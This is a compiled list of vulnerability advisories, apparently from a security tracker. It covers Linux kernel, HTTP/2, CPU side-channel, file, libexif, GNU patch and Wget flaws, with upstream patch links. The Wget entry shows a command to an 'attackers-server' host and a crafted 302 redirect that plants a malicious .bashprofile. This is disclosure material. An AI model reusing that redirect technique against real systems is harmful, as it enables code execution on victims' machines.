It was discovered that aufs improperly managed inode reference counts in the vfsubdentryopen() method. A local attacker could use this vulnerability to cause a denial of service attack.

An excessive resource consumption flaw was found in the way the Linux kernel's networking subsystem processed TCP segments. If the Maximum Segment Size (MSS) of a TCP connection was set to low values, such as 48 bytes, it can leave as little as 8 bytes for the user data, which significantly increases the Linux kernel's resource (CPU, Memory, and Bandwidth) utilization. A remote attacker could use this flaw to cause a denial of service (DoS) by repeatedly sending network traffic on a TCP connection with low TCP MSS.

The resvmaprelease function in mm/hugetlb.c in the Linux kernel through 4.15.7 allows local users to cause a denial of service (BUG) via a crafted application that makes mmap system calls and has a large pgoff argument to the remapfilepages system call.

A flaw was found in Linux kernel ext4 filesystem code. A stack-out-of-bounds write in ext4updateinlinedata() is possible when mounting and writing to a crafted ext4 image. An attacker could use this to cause a system crash and a denial of service.

References:

https://bugzilla.kernel.org/showbug.cgi?id=200005

http://patchwork.ozlabs.org/patch/930639/

An upstream patch:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=8cdb5240ec5928b20490a2bb34cb87e9a5f40226

It was found that the cgroup limitation of system resources used by Kubernetes can be bypassed. A guest pod can be used to consume a large amount of system memory.

A suggested upstream patch set:

https://lore.kernel.org/netdev/20190401113110.GA20717@hmswarspite.think-freely.org/T/#u

A flaw was found in the Linux kernel's ext4 file system. A local user can cause an out-of-bound write in in fs/jbd2/transaction.c code, which can lead to memory corruption. This can mean that the memory can be corrupted to create a denial of service, and a system crash or privilege escalation by unmounting a crafted ext4 filesystem image.

References:

https://bugzilla.kernel.org/showbug.cgi?id=200069

An upstream patch:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c37e9e013469521d9adb932d17a1795c139b36db

A flaw was found in Linux kernel ext4 filesystem. A local user can cause an out-of-bound write and so a denial of service or possibly unspecified other impact by mounting and operating a crafted ext4 filesystem image.

References:

https://bugzilla.kernel.org/showbug.cgi?id=199865

Upstream patches:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=819b23f1c501b17b9694325471789e6b5cc2d0d2

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=77260807d1170a8cf35dbb06e07461a655f67eee

A flaw was found in Linux kernel in the ext4 filesystem code. A use-after-free is possible in ext4extremovespace() function when mounting and operating a crafted ext4 image.

In the seccomp implementation prior to kernel version 4.8, there is a possible seccomp bypass due to seccomp policies that allow the use of ptrace. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android Versions: Android kernel Android ID: A-119769499

A flaw was found in the Linux kernel's ext4 filesystem. A local user can cause an out-of-bounds write in jbd2journaldirtymetadata(), a denial of service, and a system crash by mounting and operating on a crafted ext4 filesystem image.

DISPUTED Race condition in the storeintwithrestart() function in arch/x86/kernel/cpu/mcheck/mce.c in the Linux kernel through 4.15.7 allows local users to cause a denial of service (panic) by leveraging root access to write to the checkinterval file in a /sys/devices/system/machinecheck/machinecheck<cpu number> directory. NOTE: a third party has indicated that this report is not security relevant.

A flaw null pointer dereference in the Linux kernel cgroupv2 subsystem in versions before 5.7.10 was found in the way when reboot the system. A local user could use this flaw to crash the system or escalate their privileges on the system.

A vulnerability was found in cgroupreleaseagentwrite in kernel/cgroup/cgroup-v1.c in the Linux kernel. In this flaw, under certain circumstances, the cgroups v1 releaseagent feature can be used to escalate privilege and bypass namespace isolation unexpectedly.

Upstream Commit:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af

A use-after-free flaw was found in u32change in net/sched/clsu32.c in the network subcomponent of the Linux kernel. This flaw could allow a local attacker to crash the system and cause a privilege escalation, and a kernel information leak problem.

References and upstream patch: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3db09e762dc79584a69c10d74a6b98f89a9979f8 https://kernel.dance/#3db09e762dc79584a69c10d74a6b98f89a9979f8

A flaw was found in the Linux kernels sysctl handling code for hugepages management. When multiple root level processes would write to modify the /proc/sys/vm/nrhugepages file it could create a race on internal variables leading to a system crash or memory corruption.

A flaw was found in the Linux kernels eBPF verification code. By default accessing the eBPF verifier is only accessible to privileged users with CAPSYSADMIN. A local user with the ability to insert eBPF instructions can use the eBPF verifier to abuse a spectre like flaw where they can infer all system memory.

An issue was discovered in the Linux kernel before 5.11.8. kernel/bpf/verifier.c has an off-by-one error (with a resultant integer underflow) affecting out-of-bounds speculation on pointer arithmetic, leading to side-channel attacks that defeat Spectre mitigations and obtain sensitive information from kernel memory, aka CID-10d2bb2e6b1d.

Last updated 11 April 2025

A flaw was found in HTTP/2. Using SETTINGS frames and queuing of SETTINGS ACK frames, a flood could occur resulting in unbounded memory growth. The highest threat from this vulnerability is to system availability.

A flaw was found in HTTP/2. Using HEADER frames with invalid HTTP headers and queuing of response RSTSTREAM frames, an attacker could cause a flood resulting in unbounded memory growth. The highest threat from this vulnerability is to system availability.

A flaw was found in microprocessor execution engine sharing on SMT (e.g. Hyper-Threading) architectures. An attacker running a malicious process on the same core of the processor as the victim process, can extract certain secret information.

The reporter is able to steal an OpenSSL (<= 1.1.0h) P-384 private key from a TLS server using this new side-channel vector. It is a local attack in the sense that the malicious process must be running on the same physical core as the victim (an openSSL-powered TLS server in this case). But in general any application which branches on a secret value may be affected.

References: https://seclists.org/oss-sec/2018/q4/123

cdfreadpropertyinfo in cdf.c in file through 5.37 does not restrict the number of CDFVECTOR elements, which allows a heap-based buffer overflow (4-byte out-of-bounds write).

File is vulnerable to a denial of service, caused by an out-of-bounds read in the docorenote function in readelf.c in libmagic.a. By persuading a victim to open a specially crafted ELF file, a remote attacker could exploit this vulnerability to cause a denial of service.

GNU Wget (including the latest version) when supplied with a malicious website link can be tricked into saving an arbitrary remote file supplied by an attacker, with arbitrary contents and filename under the current directory. This can lead to potential code execution by creating system scripts (such as .bashprofile and others) within home directory as well as other unauthorized actions (such as request sniffing by proxy modification, or arbitrary system file retrieval) by uploading .wgetrc configuration file.

Because of lack of sufficient controls in wget, when user downloads a file with wget, such as:

wget http://attackers-server/safefile.txt

An attacker who controls the server could make wget create an arbitrary file with arbitrary contents and filename by issuing a crafted HTTP 30X Redirect containing ftp server reference in response to the victim's wget request.

For example, if the attacker's server replies with the following response:

HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Location: ftp://attackers-server/.bashprofile Content-Length: 262 Server: Apache

wget will automatically follow the redirect and will download a malicious .bashprofile file from a malicious FTP server. It will fail to rename the file to the originally requested filename of 'safefile.txt' as it would normally do, in case of a redirect to another HTTP resource with a different name.

Because of this vulnerability, an attacker is able to upload an arbitrary file with an arbitrary filename to the victim's current directory.

An issue was discovered in GNU patch through 2.7.6. There is a segmentation fault, associated with a NULL pointer dereference, leading to a denial of service in the intuitdifftype function in pch.c, aka a "mangled rename" issue.

GNU Wget before 1.19.5 is prone to a cookie injection vulnerability in the respnew function in http.c via a \r\n sequence in a continuation line.

A use-after-free flaw was found in vcsread in drivers/tty/vt/vcscreen.c in vcscreen in the Linux Kernel. In this flaw an attacker with local user access may ead to a system crash or a leak of internal kernel information.

Reference: https://www.spinics.net/lists/stable-commits/msg285184.html

A flaw was found in the Linux kernel implementation of userspace core dumps. This flaw allows anyone with access to core dumps to see a small amount of private kernel data about the current running kernels internal state which could be used to further allow an attack to more reliably execute. This information could be user processes or kernel state from previous executions.

References: https://github.com/google/kmsan/issues/76 https://twitter.com/grsecurity/status/1252558055629299712 https://github.com/ruscur/linux/commit/a95cdec9fa0c08e6eeb410d461c03af8fd1fef0a

A vulnerability was found in libexif. An integer overflow when parsing the MNOTE entry data of the input file. This can cause Denial-of-Service (DoS) and Information Disclosure (disclosing some critical heap chunk metadata, even other applications' private data).

An issue where a provided address with accessok() is not checked was discovered in i915gemexecbuffer2ioctl in drivers/gpu/drm/i915/i915gemexecbuffer.c in the Linux kernel through 4.19.13. A local attacker can craft a malicious IOCTL function call to overwrite arbitrary kernel memory, resulting in a Denial of Service or privilege escalation.